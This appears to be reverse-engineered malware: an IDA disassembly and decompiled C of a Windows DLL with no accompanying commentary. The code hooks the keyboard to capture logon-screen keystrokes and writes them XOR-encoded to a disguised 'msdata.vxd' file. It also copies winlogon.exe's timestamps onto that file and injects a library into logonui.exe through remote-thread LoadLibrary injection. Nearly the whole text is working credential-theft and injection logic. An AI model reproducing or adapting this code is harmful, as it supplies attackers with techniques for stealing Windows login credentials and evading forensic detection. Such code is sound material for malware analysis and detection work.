.text:10002B70 write_xor_0x6F_to_msdata_vxd_file proc near
.text:10002B70                                         ; CODE XREF: ThreadInLogOnUIExe+E0p
.text:10002B70                                         ; sub_10001560+99p
.text:10002B70                                         ; WinLogonThreadProc+2Dp
.text:10002B70                                         ; sub_10001AB0+87p
.text:10002B70                                         ; DllRegisterServer+17Ap
.text:10002B70                                         ; DllRegisterServer:loc_10002418p
.text:10002B70                                         ; sub_10002450+1D7p
.text:10002B70                                         ; sub_10002450+20Ep
.text:10002B70                                         ; sub_10002A10+138p
.text:10002B70
.text:10002B70 NumberOfBytesWritten= dword ptr -4
.text:10002B70 hFile   = dword ptr  8
.text:10002B70 pszTxt  = dword ptr  0Ch
.text:10002B70
.text:10002B70         push    ebp
.text:10002B71         mov     ebp, esp
.text:10002B73         push    ecx
.text:10002B74         push    ebx
.text:10002B75         mov     ebx, eax
.text:10002B77         mov     eax, [ebp+pszTxt]
.text:10002B7A         test    eax, eax
.text:10002B7C         jz      @@Return_FALSE
.text:10002B7C
.text:10002B82         test    ebx, ebx
.text:10002B84         jz      @@Return_FALSE
.text:10002B84
.text:10002B8A         push    edi
.text:10002B8B         mov     edi, [ebp+hFile]
.text:10002B8E         cmp     edi, 0FFFFFFFFh
.text:10002B91         jnz     short loc_10002B9B
.text:10002B91
.text:10002B93         or      eax, edi
.text:10002B95         pop     edi
.text:10002B96         pop     ebx
.text:10002B97         mov     esp, ebp
.text:10002B99         pop     ebp
.text:10002B9A         retn
.text:10002B9A
.text:10002B9B ; ---------------------------------------------------------------------------
.text:10002B9B
.text:10002B9B loc_10002B9B:                           ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+21j
.text:10002B9B         lea     edx, [eax+1]
.text:10002B9E         mov     edi, edi
.text:10002B9E
.text:10002BA0
.text:10002BA0 @@FindLen:                              ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+35j
.text:10002BA0         mov     cl, [eax]
.text:10002BA2         inc     eax
.text:10002BA3         test    cl, cl
.text:10002BA5         jnz     short @@FindLen
.text:10002BA5
.text:10002BA7         sub     eax, edx
.text:10002BA9         jnz     short @@AllocMem
.text:10002BA9
.text:10002BAB         pop     edi
.text:10002BAC         pop     ebx
.text:10002BAD         mov     esp, ebp
.text:10002BAF         pop     ebp
.text:10002BB0         retn
.text:10002BB0
.text:10002BB1 ; ---------------------------------------------------------------------------
.text:10002BB1
.text:10002BB1 @@AllocMem:                             ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+39j
.text:10002BB1         push    esi
.text:10002BB2         push    ebx                     ; size_t
.text:10002BB3         call    operator new(uint)
.text:10002BB3
.text:10002BB8         push    ebx                     ; size_t
.text:10002BB9         mov     esi, eax
.text:10002BBB         push    0                       ; int
.text:10002BBD         push    esi                     ; void *
.text:10002BBE         call    _memset
.text:10002BBE
.text:10002BC3         add     esp, 10h
.text:10002BC6         test    ebx, ebx
.text:10002BC8         jle     short @@WriteXorData
.text:10002BC8
.text:10002BCA         mov     ecx, [ebp+pszTxt]
.text:10002BCD         mov     eax, esi
.text:10002BCF         sub     ecx, esi
.text:10002BD1         mov     edi, ebx
.text:10002BD1
.text:10002BD3
.text:10002BD3 @@XorLoop:                              ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+6Dj
.text:10002BD3         mov     dl, [ecx+eax]
.text:10002BD6         xor     dl, 6Fh
.text:10002BD9         mov     [eax], dl
.text:10002BDB         inc     eax
.text:10002BDC         dec     edi
.text:10002BDD         jnz     short @@XorLoop
.text:10002BDD
.text:10002BDF         mov     edi, [ebp+hFile]
.text:10002BDF
.text:10002BE2
.text:10002BE2 @@WriteXorData:                         ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+58j
.text:10002BE2         push    2                       ; dwMoveMethod
.text:10002BE4         push    0                       ; lpDistanceToMoveHigh
.text:10002BE6         push    0                       ; lDistanceToMove
.text:10002BE8         push    edi                     ; hFile
.text:10002BE9         mov     [ebp+NumberOfBytesWritten], 0
.text:10002BF0         call    ds:SetFilePointer       ; Moves the file pointer of an open file.
.text:10002BF0
.text:10002BF6         push    0                       ; lpOverlapped
.text:10002BF8         lea     eax, [ebp+NumberOfBytesWritten]
.text:10002BFB         push    eax                     ; lpNumberOfBytesWritten
.text:10002BFC         push    ebx                     ; nNumberOfBytesToWrite
.text:10002BFD         push    esi                     ; lpBuffer
.text:10002BFE         push    edi                     ; hFile
.text:10002BFF         call    ds:WriteFile            ; Writes data to a file and is designed for both synchronous and asynchronous operation.
.text:10002BFF                                         ; The function starts writing data to the file at the position indicated by the file pointer.
.text:10002BFF
.text:10002C05         mov     ebx, eax
.text:10002C07         test    edi, edi
.text:10002C09         jz      short @@Return_TRUE
.text:10002C09
.text:10002C0B         cmp     dword_10021914, 0
.text:10002C12         jnz     short @@ChangeTime
.text:10002C12
.text:10002C14         call    FindAndGetTimeOfWinLogonExe
.text:10002C14
.text:10002C19         test    eax, eax
.text:10002C1B         jz      short @@Return_TRUE
.text:10002C1B
.text:10002C1D
.text:10002C1D @@ChangeTime:                           ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+A2j
.text:10002C1D         push    offset WinLogonExe_LastWriteTime ; lpLastWriteTime
.text:10002C22         push    offset WinLogonExe_LastAccessTime ; lpLastAccessTime
.text:10002C27         push    offset WinLogonExe_CreationTime ; lpCreationTime
.text:10002C2C         push    edi                     ; hFile
.text:10002C2D         call    ds:SetFileTime          ; Sets the date and time that a file was created, last accessed, or last modified.
.text:10002C2D
.text:10002C33
.text:10002C33 @@Return_TRUE:                          ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+99j
.text:10002C33                                         ; write_xor_0x6F_to_msdata_vxd_file+ABj
.text:10002C33         push    esi
.text:10002C34         call    operator_free
.text:10002C34
.text:10002C39         add     esp, 4
.text:10002C3C         pop     esi
.text:10002C3D         pop     edi
.text:10002C3E         mov     eax, ebx
.text:10002C40         pop     ebx
.text:10002C41         mov     esp, ebp
.text:10002C43         pop     ebp
.text:10002C44         retn
.text:10002C44
.text:10002C45 ; ---------------------------------------------------------------------------
.text:10002C45
.text:10002C45 @@Return_FALSE:                         ; CODE XREF: write_xor_0x6F_to_msdata_vxd_file+Cj
.text:10002C45                                         ; write_xor_0x6F_to_msdata_vxd_file+14j
.text:10002C45         xor     eax, eax
.text:10002C47         pop     ebx
.text:10002C48         mov     esp, ebp
.text:10002C4A         pop     ebp
.text:10002C4B         retn
.text:10002C4B
.text:10002C4B write_xor_0x6F_to_msdata_vxd_file endp

osVer = GetVersion();
  pszPath = 0;
  memset(buffer, 0, 518u);
  hProcess = GetCurrentProcess();
  GetModuleFileNameExW(hProcess, 0, &pszPath, 260u);
  PathStripPathW(&pszPath);
  if ( !_wcsicmp(&pszPath, L"services.exe") )
  {
      ThreadId = 0;
      CreateThread(0, 0, ServicesThreadProc, 0, 0, &ThreadId);
  }
  notWinLogonExe = _wcsicmp(&pszPath, L"winlogon.exe");
  if ( osVer == 6 )
  {
      if ( notWinLogonExe )
          goto @@IsExplorer;
      ThreadId = 0;
      CreateThread(0, 0, WinLogonThreadProc, 0, 0, &ThreadId);
      ptid = &ThreadId;
      createFlags = 0;
      pParams = 0;
      threadProc = InjectExplorerThreadProc;
      goto @@CreateThread;
  }
  if ( !notWinLogonExe )
  {
      ThreadId = 0;
      InitMSDataVXDFile_LoadIEFrameOCX_HookKeyboard();
      CreateThread(0, 0, InjectExplorerThreadProc, 0, 0, &ThreadId);
  }
  if ( !_wcsicmp(&pszPath, L"logonui.exe") )
  {
      ptid = &ThreadId;
      createFlags = 0;
      pParams = 0;
      ThreadId = 0;
      threadProc = ThreadInLogOnUIExe;
@@CreateThread:
      CreateThread(0, 0, threadProc, pParams, createFlags, ptid);
  }
@@IsExplorer:
  if ( !_wcsicmp(&pszPath, L"explorer.exe") )
  {
      ThreadId = 0;
      CreateThread(0, 0, ThreadInExplorer, 0, 0, &ThreadId);
  }
  return -1;

if ( SHGetFolderPathA(0, CSIDL_COOKIES|CSIDL_PRINTERS, 0, 0, &DstBuf) < 0
    || (sprintf_s(&DstBuf, 260u, "%s\\msdata.vxd", &DstBuf),
        hmsdatavxd = CreateMSDataVxdFile(&DstBuf),
        hObject = hmsdatavxd,
        hmsdatavxd == -1) )
  {
      result = -1;
  }
  else
  {
      g_hmsdatavxdfile = hmsdatavxd;
      v2 = GetCurrentThreadId();
      SetWindowsHookExA(WH_KEYBOARD, DllRegisterServer, 0, v2);
      write_xor_0x6F_to_msdata_vxd_file(0x12u, hObject, "\r\n[Logon Window]\r\n");
      ThreadId = 0;
      CreateThread(0, 0, RemoteLoadIEFrameOCX, 0, 0, &ThreadId);
      result = 0;
  }
  return result;

do
  {
      Sleep(2000u);
      hLogonUIExe = FindLogonUIExeHandle();
      outputDbgBuf[0] = 0;
      memset(&outputDbgBuf[1], 0, 0x7Fu);
      sprintf_s(outputDbgBuf, 0x80u, "Logonui %i", hLogonUIExe);
      OutputDebugStringA(outputDbgBuf);
  }
  while ( !hLogonUIExe );
  *wszOcxPath = 0;
  memset(&wszOcxPath[2], 0, 0x144Eu);
  GetModuleFileNameW(hDLLInstance, wszOcxPath, 2600u);
  *wczDllPath = 0;
  memset(&wczDllPath[2], 0, 0x144Eu);
  GetModuleFileNameW(hDLLInstance, wczDllPath, 0xA28u);
  PathStripPathW(wczDllPath);
  *StrStrIW(wszOcxPath, wczDllPath) = 0;
  wcscat_s(wszOcxPath, 0xA28u, L"ieframe.ocx");
  hProcess = OpenProcess(0x3Au, 0, hLogonUIExe);
  v3 = hProcess;
  if ( hProcess )
  {
      lpMem = VirtualAllocEx(hProcess, 0, 0x1450u, 0x3000u, 4u);
      if ( lpMem )
      {
          lpwsz = wszOcxPath;
          NumberOfBytesWritten = 0;
          do
          {
              LenOfOCXPath = *lpwsz;
              lpwsz += 2;
          }
          while ( LenOfOCXPath );
          if ( WriteProcessMemory(v3, lpMem, wszOcxPath, 2 * ((lpwsz - &wszOcxPath[2]) >> 1), &NumberOfBytesWritten) )
          {
              ThreadId = 0;
              hThread = CreateRemoteThread(v3, 0, 0, LoadLibraryW, lpMem, 0, &ThreadId);
              CloseHandle(hThread);
          }
      }
  }
  return 0;

char wczDllPath[5200];
char wszOcxPath[5200];

int __stdcall Decode(int key1, int key2, int srcBuf, int destBuf, int len)
{
  int mod; // edx@1
  int i; // ecx@1
  int result; // eax@3

  i = 0;
  mod = key1 % len;
  if ( len <= 0 )
  {
      result = 0;
  }
  else
  {
      do
      {
          *(mod + destBuf) = -1 - *(i + srcBuf);
          mod = (mod + key2) % len;
          ++i;
      }
      while ( i < len );
      result = 0;
  }
  return result;
}

int __cdecl BuildCRC32Table()
{
  unsigned int i; // ecx@1
  unsigned int v1; // eax@2
  int v2; // eax@5
  int v3; // eax@8
  int v4; // eax@11
  int v5; // eax@14
  int v6; // eax@17
  int v7; // eax@20
  int result; // eax@23

  i = 0;
  do
  {
      v1 = i >> 1;
      if ( i & 1 )
          v1 ^= 0xEDB88320u;
      if ( v1 & 1 )
          v2 = (v1 >> 1) ^ 0xEDB88320;
      else
          v2 = v1 >> 1;
      if ( v2 & 1 )
          v3 = (v2 >> 1) ^ 0xEDB88320;
      else
          v3 = v2 >> 1;
      if ( v3 & 1 )
          v4 = (v3 >> 1) ^ 0xEDB88320;
      else
          v4 = v3 >> 1;
      if ( v4 & 1 )
          v5 = (v4 >> 1) ^ 0xEDB88320;
      else
          v5 = v4 >> 1;
      if ( v5 & 1 )
          v6 = (v5 >> 1) ^ 0xEDB88320;
      else
          v6 = v5 >> 1;
      if ( v6 & 1 )
          v7 = (v6 >> 1) ^ 0xEDB88320;
      else
          v7 = v6 >> 1;
      if ( v7 & 1 )
          result = (v7 >> 1) ^ 0xEDB88320;
      else
          result = v7 >> 1;
      CRCTable[i++] = result;
  }
  while ( i < 256 );
  return result;
}